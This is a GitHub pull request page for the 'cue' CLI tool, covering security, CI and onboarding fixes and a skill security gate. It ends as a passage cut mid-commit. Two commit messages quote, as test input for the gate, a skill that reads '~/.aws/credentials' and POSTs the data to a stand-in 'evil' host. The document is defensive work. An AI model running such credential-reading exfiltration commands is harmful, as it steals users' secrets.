Skip to content

Week-1 highest-ROI fixes: CLI auto-install gate, shim activation, launch-safe update check, CI gate, e2e src trigger, phantom profile names - #6

Merged
NagyVikt merged 26 commits into
mainfrom
cue/week1-roi-fixes
Jun 2, 2026
Merged

Week-1 highest-ROI fixes: CLI auto-install gate, shim activation, launch-safe update check, CI gate, e2e src trigger, phantom profile names#6
NagyVikt merged 26 commits into
mainfrom
cue/week1-roi-fixes

Conversation

@NagyVikt

@NagyVikt NagyVikt commented Jun 1, 2026

Copy link
Copy Markdown
Contributor

Week-1 highest-ROI fixes (from the codebase audit)

Six fixes from the ROI audit, all chosen because they were high-impact and low-effort — several are correctness/security bugs, not polish. Built in an isolated worktree off main (2e1fad7); each fix is its own commit.

⚠️ Expected overlap: a parallel effort is independently editing ci.yml and the e2e tests on the working tree. This PR's ci.yml and ai-score.e2e.test.ts will likely conflict at merge — resolve in favor of whichever is more complete (notes below).

The fixes

# Commit Category What & why
1 df7256f security Gate CLI auto-install behind --yes. autoInstallClis() ran npm/brew/cargo/pipx install lines scraped from a just-fetched (untrusted) SKILL.md with no consent — a typosquatted skill repo could trigger arbitrary global installs. Now warn-only unless --yes.
2 8957dc2 dx Activate the shim in the documented flow. npm i -g cue-ai never created the ~/.local/bin/claude shim, so README-followers got vanilla Claude Code with no profile. Added cue shell install to README + postinstall; cue init now detects+offers it.
3 490f2ba reliability Don't run the auto-update check during a live launch. The shim is cue launch, so the check opened a readline on the agent's stdin and could auto-npm install -g mid-session. Skipped for launch/CI/non-TTY; never auto-installs on timeout/blank.
4 5e1583c ci Make the typecheck a real gate. Was tsc … 2>/dev/null || true (enforced nothing); now blocking bun run typecheck. Also fixed the skills-lint no-op (skills lint --all).
5 cfa5baf ci Run e2e on src/** changes. The profile e2e sweep ignored src/, so hot-path PRs (launch/materialize) never triggered it.
6 1c651d1 correctness Fix phantom profile names. python-api/rust-cli/ecc/bare medusa were suggested but don't exist on disk, so auto-detect & discover-install silently no-opped. Renamed to python/rust/core/medusa-dev + added a guard test that fails if any phantom returns.

Adversarial review + hardening (5da67cb, 33524d7, c8499d4, 480ee5f)

A multi-agent adversarial review caught a blocker and 3 majors in the first cut, all fixed:

Verification

  • bun run typecheck clean · 659 lib + 25 shell/detect + 76 targeted tests pass · new profile-names.test.ts guard + shimInstalled both-format tests.
  • A second review pass confirms merge-ready, zero unresolved blockers/majors.

Out of scope — discovered, not fixed here (recommend follow-ups)

  1. cue shell install writes an abspath shim (~/Documents/cue/bin/cue) that's broken for pure npm-global installs (no source clone). The bare cue launch form would be portable. This undercuts ROI fixes (typecheck 48→0, auto-rematerialize, orphans, skill hints) + WIP #2 for npm users — worth a dedicated fix.
  2. cue validate --all hangs / is very slow (didn't finish in 60s locally). Possibly network (npx) during validation — worth profiling.
  3. typecheck still honors tsconfig's skipLibCheck: true — intentional (gates src/ only, not dependency .d.ts); flagging for transparency since commit fix(ci): escape Liquid in discovered docs + guard merge tests #4's message phrasing implied otherwise.

🤖 Generated with Claude Code

NagyVikt and others added 21 commits June 1, 2026 20:26
autoInstallClis() scraped npm/brew/cargo/pipx install lines out of a
just-fetched SKILL.md and ran them with no prompt and no allowlist. A
typosquatted or malicious skill repo with one crafted `## Prerequisites`
line could trigger arbitrary global package installs on `cue discover
install` (and via the interactive `cue init` wizard).

Default is now warn-only: the prerequisites are printed for the user to
review and install deliberately. Installation only happens when the user
opts in with `--yes` (threaded through cmdInstall). The interactive
wizard path stays warn-only by default.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
main() fired checkForUpdate() on every invocation. But the claude/codex
shim is `exec cue launch <agent>`, so on the launch path the update
check opened a readline on the agent's stdin (stealing keystrokes),
auto-accepted "y" after a 5s timeout, then ran a blocking
`npm install -g cue-ai` that rewrote the package's own files mid-session.

Two changes:
- Skip the update check for `launch`, when CUE_LAUNCHING=1, under CI, or
  when stdin isn't an interactive TTY.
- Flip the unattended default from "y" to "n" and require an explicit
  y/yes — blank/Enter or the 5s timeout no longer triggers an install.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`npm install -g cue-ai` only installs the `cue` binary — it never creates
the ~/.local/bin/claude shim that is the entire interception mechanism. A
user who followed the README (pin a profile, type `claude`) got vanilla
Claude Code with no profile and churned, because `cue shell install` was
documented nowhere in the README and the postinstall only said "cue init".

- README quickstart + install section now include `cue shell install` as
  an explicit one-time step, with a note on why it matters.
- postinstall points at `cue shell install` then `cue init`.
- `cue init` detects a missing shim (new shell.shimInstalled helper) and
  offers to install it; declining prints the manual command.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lint job forced every check green. `tsc` ran as
`--skipLibCheck 2>/dev/null || true`, so the clean typecheck was enforced
by nothing — the first type regression would merge green (Bun runs TS
directly, no compile step). And `bun src/index.ts skills-lint` is a usage
error (the command is `skills lint --all`), so that step was a silent
no-op too.

- Type check now runs `bun run typecheck` (tsc --noEmit, no skipLibCheck),
  blocking. Verified clean against the current tree.
- Skill lint now calls the correct `skills lint --all` and surfaces its
  output; kept `|| true` until the skill-hygiene backlog is cleared.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
profiles-ci.yml is the only workflow that runs test/e2e/run.sh (the real
bin/cue across list/scan/doctor/inheritance), but its paths filter omitted
src/**. A PR touching only the hot path (launch.ts, runtime-materializer.ts)
never triggered the cross-profile e2e sweep. Add src/** to both the
pull_request and push path filters.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Profile suggestion code pointed at profiles that don't exist on disk, so
the features silently no-opped:
- auto-detect.ts suggested `python-api`, `rust-cli`, and `ecc`. launch.ts
  filters detections to known profiles, so Python/Rust projects got no
  suggestion and the CLAUDE.md/.claude signal (`ecc`) never fired.
- discover.ts suggested `python-api` and a bare `medusa` in PROFILE_KEYWORDS
  / STACK_PROFILES / search terms; `cue discover install` then skipped
  writing the skill because profiles/<name>/profile.yaml didn't exist.
- ai.ts mapped python keywords to `python-api`.

Renamed to the real dirs: python-api→python, rust-cli→rust (the rust
signals already cover Cargo.toml/main.rs, so the redundant block is
removed and main.rs now corroborates rust in V2), ecc→core (generic
Claude-managed-repo baseline), bare medusa→medusa-dev.

Added src/lib/profile-names.test.ts — a guard asserting every profile name
referenced by SIGNALS / STACK_PROFILES / both PROFILE_KEYWORDS maps exists
under profiles/. Updated the two tests that encoded the old phantom names.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Adversarial review caught a false negative in shimInstalled(): it checked
for the substring "cue launch", but the user-facing `cue shell install`
writes an absolute-path shim (`exec "/abs/cue" launch claude "$@"`) that
doesn't contain it — only the runInstall() helper's bare form does. So a
user who followed the documented flow (`cue shell install` then `cue init`)
was wrongly told the shim wasn't installed and offered a reinstall.

Match `launch claude` instead — present in both shim formats. Add
shimInstalled() tests covering both formats + the no-shim and non-cue
cases (it had zero coverage, which is why this slipped the suite). Also
correct the README: `cue shell install` installs the claude shim by
default; codex needs --codex.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The launch guard keyed only on args[0]==="launch", but `cue quick` and
`cue playground` also spawn the real claude with inherited stdio and route
through main(), so the update-check readline could still steal the agent's
stdin. Skip the check for all three agent-launch commands.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lint job's checkout lacked `submodules: recursive`, so `skills lint
--all` ran against an empty resources/skills submodule, threw
SKILLS_ROOT_UNREADABLE, and emitted an internal-error stack trace
(swallowed by `|| true`) instead of the skill-hygiene report. The
blocking typecheck does not need submodules (it only compiles src/), so
that gate was unaffected. Note: typecheck runs via `bun run typecheck`,
which honors tsconfig's skipLibCheck:true (intentional — only src/ is
gated, not dependency .d.ts).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…eview fix)

`cue init`'s global onboarding offered a `core+skill-writer+ecc` default
composite (and an `ecc` example in the custom prompt), but `ecc` is one of
the phantom profiles fix #6 removed — picking it silently dropped the
`ecc` part at materialization. Remove the option and use a real-profile
example. Also strengthen the ai e2e assertion to additionally reject
"python-api" (a substring of the new "python", so the old check alone
would pass even on a regression).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`cue shell install` hard-coded an absolute shim path
(`exec "~/Documents/cue/bin/cue" launch claude`), which doesn't exist for
users who ran `npm install -g cue-ai` (no source clone, CUE_REPO_ROOT
unset) — the shim pointed at a missing file and `claude` broke. This
undercut the documented install flow for the primary (npm) audience.

Add resolveCueInvocation(): prefer the portable bare `cue` when it's on
PATH (npm-global / symlinked), else fall back to a quoted absolute path to
the cue entrypoint (CUE_REPO_ROOT is exported when cue runs itself; also
tries bin/cue.mjs for the npm layout). Both shim writers (runInstall and
the user-facing `cue shell install`) now use it, and both forms keep the
`launch claude` substring so shimInstalled() still detects them. Removed
the dead cueBin computations.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The README "money shot" claimed a ~180k-token baseline, ~$2.70/session,
and "22×" — but no command produces those numbers and they were
self-contradictory. The real, reproducible figures from `cue cost
--compare`: the `full` everything-loadout is ~81k always-on tokens
(~$24/100 msgs at Sonnet input pricing), `backend` ~9k (~$2.70),
`caveman-quick` ~6.8k (~$2.00). So the honest reduction is ~9× (backend)
up to ~16× (leanest), not 22× or "10–25×".

Reconciled README (money-shot table, hero stat, JSON-LD, feature bullet),
the reduce-token-cost use-case (real numbers table + measurement block —
dropped the broken `cue eval --compare full backend`, which reports 0%
because eval skips full's `*/*` glob), the two comparison docs, and the
cybersecurity/marketing use-case per-message-cost lines. Every claim now
cites `cue cost --compare` so a reader can reproduce it. (eval's glob bug
is left as a separate follow-up to avoid churning eval test fixtures.)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`cue validate --all` did one network `npx skills add` spawn per npx skill
(~2000+ across all profiles), serially, with no cache (the fetch wrote
into a throwaway temp repo) and no timeout — a multi-minute-to-hours hang.
The launch hot path already avoids this (passes npxOffline:true); validate
never got the same treatment.

- validate is now offline by default: uncached npx skills are reported as
  a neutral "N not cached (offline; run --online to fetch)" check instead
  of an E3 error or a network fetch. `cue validate --all` drops from a
  >60s hang to ~5s. `--online` (alias --no-offline) opts back into the
  real fetchability check; an explicit CUE_OFFLINE=1 still wins.
- resolveOneNpxSkill returns "resolved" | "skipped-offline"; only real
  errors (PinNotFound, schema, missing MCP/local skill) stay E3.
- Defense-in-depth: npxFetch's spawnSync now has a 45s timeout
  (CUE_NPX_TIMEOUT_MS) + SIGKILL, so one wedged npx can't hang a run.

Verified: real profile errors (29 pre-existing E3: missing private MCPs,
unresolved env placeholder) are unchanged vs the CUE_OFFLINE=1 baseline.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
cue shipped a skill security scanner (scanSkill, 7 SEC rules) but NOTHING
called it on the paths that bring remote code onto the machine. Worse, its
category suppressions (isGlobalPack / isSecuritySkill, both derived from
the skill's own self-declared frontmatter/path) disabled exactly the
critical rules SEC1-5 for skills in ~/.claude/skills — where discover
installs remote gems — so even a naive scan would have been a no-op.

- Export scanSkill + SecurityIssue; add a `trustGlobalPack` option. Default
  (true) preserves `cue security`'s behavior. The gate passes false, which
  turns OFF every self-declared-category suppression and runs the full
  SEC1-7 ruleset (only per-line safe-context skips remain).
- Add gateFreshSkill(): scans untrusted, blocks on critical SEC1-3
  (secret/data exfiltration, prompt injection), `allowUnsafe` overrides.
- Wire it into `cue discover install` (blocks registration to a profile;
  --allow-unsafe to override) and `cue init`'s gem wizard (flags + skips
  CLI auto-install for a critical skill). Orthogonal to the week1 --yes
  CLI-install gate.

Verified: a global-pack skill with `cat ~/.aws/credentials` + `curl -X POST
https://evil…` is suppressed (0 criticals) by the default path but caught
(SEC1+SEC2, blocked) by the gate; --allow-unsafe overrides. `cue security`
output is unchanged.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
When `claude` doesn't pick up a profile, users run `cue doctor` — but it
only checked profile-internal drift (D1-D8); nothing verified that the
activation layer (the shim) is actually wired up. Add a D9 ACTIVATION
group:
- the ~/.local/bin/claude shim is installed and is a cue shim (gating
  error; reuses shell.shimInstalled, which matches both shim formats),
- the real claude binary resolves (warning if only the shim is found),
- ~/.local/bin precedes the real binary on PATH (error if shadowed).

D9 is environment-scoped: it runs once in run() (not per profile, which
would duplicate it). `--fix` calls shell.runInstall to install/repair the
shim; a PATH-ordering problem can't be auto-fixed (user must reorder their
shell PATH), so the fix message says so. checkActivation takes injectable
{homeDir, pathDirs, realBin} for hermetic tests. e2e scenario 04 still
passes (it asserts non-zero exit + drift naming, not issue count).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two adjacent gaps left the "claude won't start" lines untested:
- the launch exec handoff (childEnv assembly, runtimeDir mapping, the
  recursion guard) was only exercised up to --rematerialize, and
- install.sh / the shim it writes ran in zero CI jobs despite every new
  user depending on it.

Added (new files, additive so they don't collide with the concurrent
edits to launch.e2e.test.ts):
- launch-handoff.e2e.test.ts: `cue launch <agent> --dry-run` asserts
  CLAUDE_CONFIG_DIR→runtime/<profile>/claude (CODEX_HOME for codex),
  command/passthrough assembly, and a CUE_LAUNCHING=1 → exit-2
  recursion-guard probe (spawned directly, since the shared helper strips
  CUE_LAUNCHING).
- install-sh.e2e.test.ts: runs install.sh into a throwaway SHIM_DIR (with
  a stub authmux on PATH so Step 5 never does `npm install -g`), asserts
  the cue symlink + a working `exec cue launch claude` shim, and that
  `cue --version` through the shim matches package.json.
- ci.yml: a `test`-job step running install.sh into a throwaway prefix on
  a clean image (same stub-authmux trick).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
isRuntimeStale only compared profile.yaml's mtime to .cue-hash, so editing
a skill's SKILL.md (frontmatter or body) never invalidated the runtime —
"edit skill → relaunch → nothing changed", a confusing gap in the tool's
core iteration loop.

Extend the predicate to also fire when any resolved SKILL.md is newer than
.cue-hash. The materialized runtime already symlinks each resolved skill
(skills/<slug> → source dir), so lstat'ing skills/<slug>/SKILL.md resolves
through to the real source mtime — automatically scoped to the agent and
to conditional/subset pruning, with no profile object needed in scope. No
change to computeHash or the caller (launch already deletes .cue-hash and
reuses the rebuild path, fail-open). Per-entry try/catch: a broken symlink
(deleted source) is skipped, not fatal.

Hot path: one readdir + N metadata lstats (N<~60) per launch, dwarfed by
materialize's existing fs work. NOTE: runtime-materializer.ts is under
concurrent edit elsewhere — expect a merge conflict in this function.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…h (review)

Adversarial review found the security gate, as first written, was porous:

- BYPASS via doc-context skips: the per-line "safe context" skips (fenced
  code blocks, "verify/check…secret" lines, benign keywords like "never")
  let an attacker hide the SAME exfiltration in a ``` fence and walk past
  the gate. Those skips now apply ONLY in trusted mode; the gate
  (trustGlobalPack:false) scans every line (still skipping the bare ```
  delimiter), trading false positives for no bypass (--allow-unsafe + the
  skill is left on disk for review).
- FAIL-OPEN when no SKILL.md is found: gateFreshSkill now returns a
  `scanned` flag; discover/init warn "no SKILL.md found — review manually"
  instead of silently passing a skill that was never scanned.
- UNGATED PRIMARY PATH: `cue skills add` (the most-documented install) did
  npx-fetch + register-to-profile with no scan. It now runs the gate over
  freshly-installed skills, dropping critical ones from the set it registers
  (--allow-unsafe to override; flag stripped before forwarding to npx).

Verified: a fenced `grep api_key ~/.aws/credentials` + `curl -X POST
https://evil…` is now caught (SEC1+SEC2, blocked); `cue security` output
is unchanged.

Known remaining gaps (follow-up): `cue marketplace install-skill` and
`cue upgrade --apply` also fetch+register and are not yet gated.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The reduce-token-cost doc's "Short answer" lede still carried the
discredited $2.70-as-baseline, $0.12/$0.08 per-session figures, and a
"22–33×" claim (en-dash, so it dodged the earlier grep) — directly
contradicting the body that was already reconciled. Rewrote it to the real
`cue cost --compare` numbers (~81k/$24 baseline → ~9k/$2.70 backend, ~9×).
Also dropped the broken `cue eval --compare a b` from the README "Measure"
block (eval understates savings due to the unfixed `*/*` glob bug).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…ests)

- doctor D9: shim-missing is now a WARNING, not an error, so `cue doctor`'s
  exit code tracks actual profile breakage rather than flipping to 1 for
  users who simply haven't run `cue shell install`.
- resolver-npx: sanitize CUE_NPX_TIMEOUT_MS — a non-numeric or empty value
  (Number("")===0 would DISABLE the spawn timeout) now falls back to 45s.
- shell.resolveCueInvocation: require an EXECUTABLE FILE named `cue` on PATH
  (was name-existence-only — a directory or non-executable `cue` wrongly
  returned the bare token); prefer bin/cue.mjs (npm layout) in the fallback.
- install-sh.e2e: gate to CI only — it does `bun install` against the repo,
  which would mutate the dev tree / hit the network locally.
- runtime-materializer test: add a real-symlink case so the SKILL.md
  staleness check is tested against the production symlinked layout.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lede/table were reconciled to ~9–16×, but the "What NOT to do" body
still cited "25× savings" — the final inconsistent multiplier in the file.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
NagyVikt and others added 5 commits June 2, 2026 14:27
ROI follow-ups + bigger bets: portable shim, validate hang, security gate, doctor D9, SKILL.md rebuild, savings docs, launch tests
Resolves 6 conflicts so PR #6 (week-1 ROI fixes) merges cleanly onto a
main that has since advanced (absorbed PR #7). Resolution intent: keep
main's newer state, preserve the PR's unique fixes.

- package.json: PR's `cue shell install` guidance + main's cuecards URL
- README.md: main (10–25× tagline, cuecards URL)
- ci.yml: keep BOTH the install.sh smoke-test (PR) and bundled-CLI boot
  (main); take main's lint job (adds biome, --skipLibCheck)
- index.ts: combine update-check guards — PR's launch-safety
  (launch/quick/playground, CUE_LAUNCHING, CI, stdin TTY) + main's
  trivial-args + stdout TTY (superset)
- shell.ts: keep `cueInvoke = resolveCueInvocation()` (used by the shims)
- ai-score.e2e: main's skipIf(!BUN_SPAWNABLE) guard + body-consistent
  "matches python" name

Verified on the merged tree: typecheck clean, ai-score.e2e 13/13.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CI (and any fresh clone) failed at `actions/checkout --recurse-submodules`:
the resources/mcps gitlink pointed at 7c6d955, which was committed locally
but never pushed to recodeee/mcps ("upload-pack: not our ref"). main carried
the same broken pointer, so main's CI was red too. Repoint to fdae32d, the
current recodeee/mcps main tip, so the submodule checkout resolves.

Note: 7c6d955 ("add financial-datasets MCP server") still exists locally; to
keep it, push it to recodeee/mcps and re-bump the gitlink.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Second of the two broken gitlinks: resources/skills pointed at dd6dd655,
committed locally on soul-main but never pushed to opencue/skills, so CI's
recursive checkout failed the same way it did for mcps. Repoint to 553b5e2
(opencue/skills soul-main tip, the immediate parent), which is pushed and
fetchable.

Note: dd6dd655 ("add trigger phrases to 51 skill descriptions") still exists
locally on soul-main; push it to opencue/skills and re-bump the gitlink to keep it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
biome.json sets noUnusedImports=error; replay-whatif only uses join, so
the unused resolve/dirname imports failed the CI lint job. (Pre-existing
in the committed file, surfaced once the submodule checkout was fixed.)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@NagyVikt
NagyVikt merged commit 052e1de into main Jun 2, 2026
2 of 4 checks passed
NagyVikt added a commit that referenced this pull request Jun 4, 2026
Patch bump over 0.9.0 covering the post-release delta (#6-#33): cue studio
dashboard (env view, hooks/permissions rail, hook-source viewer,
profile-linter, repos catalog), profile work (vercel skills, browser
playwright, cue-developer), the lean-cue install path, and CLI/validate
fixes (bun:sqlite boot, W9 MCP demotion, trigger-gaps).

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt added a commit that referenced this pull request Jun 5, 2026
resources/mcps -> 0945bd0 (ted-eu + apify-ted-eu MCP configs; recodeee/mcps). resources/skills -> d182db1 (eu-funding/gx-agents/focus/portless skills + career de-symlink; opencue/skills PR #6). Submodule commits live on agent branches; gitlinks resolve against them.

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt added a commit that referenced this pull request Jun 8, 2026
* chore: bump mcps + skills gitlinks for eu-funding workstream

resources/mcps -> 0945bd0 (ted-eu + apify-ted-eu MCP configs; recodeee/mcps). resources/skills -> d182db1 (eu-funding/gx-agents/focus/portless skills + career de-symlink; opencue/skills PR #6). Submodule commits live on agent branches; gitlinks resolve against them.

* fix(ci): bump skills submodule gitlink to resolve missing skills

Parent gitlink pointed at b7a7130, which predates meta/next-steps,
meta/ralph-loop, and tools/context7 — all referenced by core's profile.
Profiles e2e (macos + ubuntu) failed the resolver dry-run with E3
SKILL_NOT_FOUND. Bump to 3372160 (skills origin/main), which contains
all three. Verified locally with bash test/e2e/run.sh (exit 0).

* ci(profiles): watch resources/skills + resources/mcps gitlinks

Profiles CI's path filter excluded the submodules, so a gitlink bump that
changes which skills resolve was never tested — which is how the
b7a7130 lag (missing next-steps/ralph-loop/context7) reached main red.
Watch both submodule pointers on PRs and pushes to catch this class.

* feat(summon): cue summon — bind a profile into the live session, no restart

Adds `cue summon [profile]`: resolves a profile (explicit or auto-detected),
lists its skills as readable SKILL.md paths + persona for inline soft-load,
pins .cue-profile, and prints the warm re-exec (claude --continue) for the
MCP / slash-command tail. Pure summon(opts) core + CLI wrapper.

- src/commands/summon.ts (+ test): resolution, mcp_status vs active session,
  pin-clobber guard (pin_previous), --json/--no-pin/--pick/--dry-run.
- auto-detect.ts: vercel.json/.vercel + @vercel dep -> vercel profile.
- _index.ts/index.ts: register the command + help row.
- launch.ts: first-time (no .cue-profile) marker points at summon.

Skill meta/profile-summon ships separately via opencue/skills PR #7.
Core built-in registration deferred (core/profile.yaml is a shared dirty file).

* chore(skills): bump gitlink to include meta/profile-summon

opencue/skills 3372160 -> 4938f47 (PR #7 merged). Clean fast-forward;
the only delta is the new meta/profile-summon skill (+212 lines).
Pairs with the cue summon command in a946367.

* Reduce default cue context overhead (#44)

Constraint: keep first-run default on core and move bootstrap detail out of always-read AGENTS.md.

Tested: bun run typecheck; bun test src/lib/cwd-resolver.test.ts.

Not-tested: broad lint has pre-existing unused-variable warnings; broader summon test is environment-sensitive because lightpanda is available on this machine.

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>

* feat(core): pin subagents to Sonnet + add model-selection guidance

profile.env only feeds MCP placeholder substitution and never reached the
claude process, so cost knobs declared there were silent no-ops.
buildClaudeSettings now surfaces an allowlisted subset of profile.env into
settings.json's env block (Claude Code injects that into the session). core
sets CLAUDE_CODE_SUBAGENT_MODEL=claude-sonnet-4-6, fanning out to all
inheriting profiles so Task/Agent subagents (code-reviewer, Explore,
file-read/grep) run on Sonnet — ~50-60% cheaper than Opus. The allowlist is
deliberate: profile.env also holds secret refs like ${AWS_SECRET_ACCESS_KEY}.

Adds an advisory "Model selection" persona block (Sonnet default, Opus for
planning/architecture, steer via /model) since the main session model can't
be switched automatically.

Verified: settings.env carries the model, persona block reaches the generated
CLAUDE.md, secret placeholders filtered. 37/37 materializer tests pass; the
settings.json env + CLAUDE_CODE_SUBAGENT_MODEL contract confirmed against
Claude Code v2.1.168 docs.

* test(core): guard CLAUDE_CODE_SUBAGENT_MODEL=claude-sonnet-4-6 in core

Regression guard so a future core edit can't silently drop the subagent
cost knob — it fans out to all 72 inheriting profiles and is the one
automatic Opus→Sonnet lever. Loads the real core profile (no fixture)
and asserts the env value buildClaudeSettings surfaces into settings.json.

* feat(profiles): add google/skills to all Google profiles

Wires the full official Google Cloud skill library (30 skills from
github.com/google/skills) into google-ads, google-analytics,
google-drive, and webshop-google via a single repo: google/skills
npx block.

Covers: gcloud, gemini-api, gemini-agents-api, gemini-interactions-api,
bigquery-basics, firebase-basics, cloud-run-basics, cloud-sql-basics,
gke-basics, alloydb-basics, agent-platform-* (8 skills),
google-cloud-waf-* (5 skills), networking-observability, and both
google-cloud-recipe skills.

* fix(profiles): remove redundant google/skills from webshop-google

webshop-google bundles google-ads and google-analytics, which already
carry the google/skills npx block. Loading it a third time directly
would triple-load 30 skills on materialization.

---------

Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt added a commit that referenced this pull request Jul 28, 2026
* feat(picker): match every profile against the repo, not just the 19 with rules

The suggestion engine ranked profiles from five hand-maintained sources —
dependency rules, path conventions, combo history, recents, featured. Between
them they cover 19 of 85 profiles. The other 66 could only ever surface if the
user had launched them before, so a directory that genuinely wanted one had no
way to say so, and cycling past the third suggestion ran out of answers.

profile-match scores every profile's OWN vocabulary (name, description, skill
ids, MCP ids) against what the directory reveals about itself (dependencies,
languages, marker files, entry names). Coverage goes to 85/85 and the card's
tail keeps landing on something the repo justifies. Wired in as a new `matched`
origin scored 8-30, so curation still leads: it can pass `featured` from ~0.32
strength but never outranks a detection, a confirmed combo, or something
launched in this very directory.

Four properties earned their place by being wrong first:

  Absolute strength, not relative to the run's best hit. Normalizing against
  the top scorer manufactures confidence from noise — a directory with nothing
  to say still produced a 1.00 "match", because the weakest signal present is
  still the strongest signal present. cue and gitguardex now correctly match
  nothing.

  Corroboration: a filename alone never carries a match. Every repo here has a
  CLAUDE.md, so every repo matched `claude-api` — above a real ROS workspace
  backed by an actual robot.urdf. Chasing each such word with the stopword list
  was a losing game; requiring one dependency, language, or marker hit ends the
  class.

  IDF weighting plus size damping, so `gstack` (70 terms, mentions everything)
  cannot beat `rust` (18 terms, mentions Rust) on a Cargo.toml by surface area.

  Both sides normalize through the same `tokenize`. Skipping it on the evidence
  side meant a profile indexed "robotic" while EXT_LANGUAGE emitted "robotics" —
  they never met, silently. Same failure class as the bash/TS drift the hook
  guards against.

gstack itself goes to _featured.yaml rather than being made detectable, because
it structurally cannot be: it is a WORKFLOW profile, describing how you want to
work, and repo evidence only ever describes what the project IS. A .urdf says
robotics; nothing on disk says "role-routed engineering". It scored 0.27 at
rank #6 across the test repos; always-available is the honest mechanism.

Also: `-js` is no longer folded as a plural (medusajs -> medusaj, nextjs ->
nextj), which affected skill matching too; the df cut is skipped below 10
profiles, where it discarded every term shared by two and matched nothing; and
manifest metadata keys are filtered, so `requires-python` and `[urls] issues`
stop reading as dependencies named "research" and "linear".

Verified on real repos: agv_stack surfaces ros2 #1 (previously unreachable),
api-tester surfaces python + backend-base, kolarortopedia surfaces postgres +
supabase, cue and gitguardex correctly surface nothing. 2819 pass / 0 fail.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

* fix(test): make cue handoff tests e2e, drop the global mock.module leak

src/commands/handoff.test.ts registered mock.module("../lib/handoff", ...).
Bun's module mock lives in a PROCESS-GLOBAL registry that outlives the file
that installs it, so whenever this file landed in the same worker before
src/lib/handoff.test.ts, that file asserted against the stub instead of the
real formatHandoffForAgent. The stub emitted only the header and the task
summary, so exactly the four sections it omitted failed:

  Most useful skills / Also helpful / MCPs used / Notes

Green locally, red in CI, purely on file ordering.

Drive the command through spawnSync with XDG_CONFIG_HOME pointed at a temp
dir instead. HANDOFFS_DIR is a module-level const baked from that env var at
import time, so a fresh child picks up the temp dir and no global state is
touched. Nothing is left to leak — this was the last mock.module in the repo.

Also stronger: the router now runs against the real lib rather than a stub.
10 -> 18 tests, covering the --json branches, --skills level parsing, the
--from default and the unknown-subcommand fallback.

Verified: bun test --timeout 30000 (the CI command), 4 consecutive runs,
2819 pass / 1 skip / 0 fail. typecheck clean, lint unchanged at 6 warnings.

* chore: delete 733 lines of verified dead code

Every deletion was re-verified by hand against a repo-wide fixed-string grep
(excluding node_modules/dist/vendor, but INCLUDING .sh, .yaml, .md and
extensionless bin scripts) plus a within-file usage check. Dead code's tests
go with it — a test for dead code is also dead.

Whole files, referenced by nothing but their own test:
  src/lib/incremental-materialize.ts   81 (+112 test)
  src/lib/skill-compressor.ts          68 (+59 test)
  src/lib/webhooks.ts                  58 (+175 test)
  scripts/_test-ecc-materialize.ts     20  (referenced by nothing at all)

Functions with exactly one occurrence in the repo — their own definition:
  discover.ts buildGemBadgeSvg        196
  skill-deps.ts topologicalSort        61 (+18 test)

Stale docs:
  bin/README.md                        32  describes a `soul` CLI and a
                                           bin/cli/lib/ layout, neither of
                                           which exists

Deliberately NOT deleted, though a generated report flagged them — 28 of its
76 non-picker findings were false positives, and deleting them blind would
have broken the build:

  analytics.ts recordSkillUsage  called by resources/hooks/skill-fire-tracker.sh
  bin/cue-slug                   called by bin/cue-learnings (the report's own
                                 grep passed --include='*.sh', so the
                                 extensionless caller never matched)
  runtime-gc.ts                  imported by commands/gc.ts and launch.ts
  handoff.ts (all 4 exports)     imported by commands/handoff.ts
  kitty-image probeKittyTerminal,
  clearKittyImagesSequence,
  skill-deps parseDependencies,
  skill-router Router* types     used within their own file; only the `export`
                                 keyword is redundant, which is churn, not dead
                                 code
  cloud.ts:255 "dead" branch     reachable: `cue cloud push x` gives
                                 argv[2]="cloud" and falls to the default arm

Also left alone: the picker block (~1057 lines) while that migration is in
flight, and launch.ts's token-budget re-export shim (all five symbols are used
inside launch.ts, so it is an export->import rewrite worth zero lines).

Verified: bun test --timeout 30000, 4 consecutive runs, 2819 pass / 1 skip /
0 fail across 219 files. typecheck exit 0. lint 0 errors, 6 warnings (baseline).

* docs(dead-code): mark the report superseded, record the false-positive rate

28 of 76 non-picker findings were wrong. Record which ones and why, so the
next pass re-verifies instead of trusting the confidence column: a 'high'
rating only means the agent's grep came back empty, and those greps missed
shell hooks, extensionless bin scripts, dynamic imports, and string-keyed
command dispatch.

* feat(brief): hand the agent verified facts about the directory it launches in

A profile teaches the agent a domain. It cannot know that this repo runs on
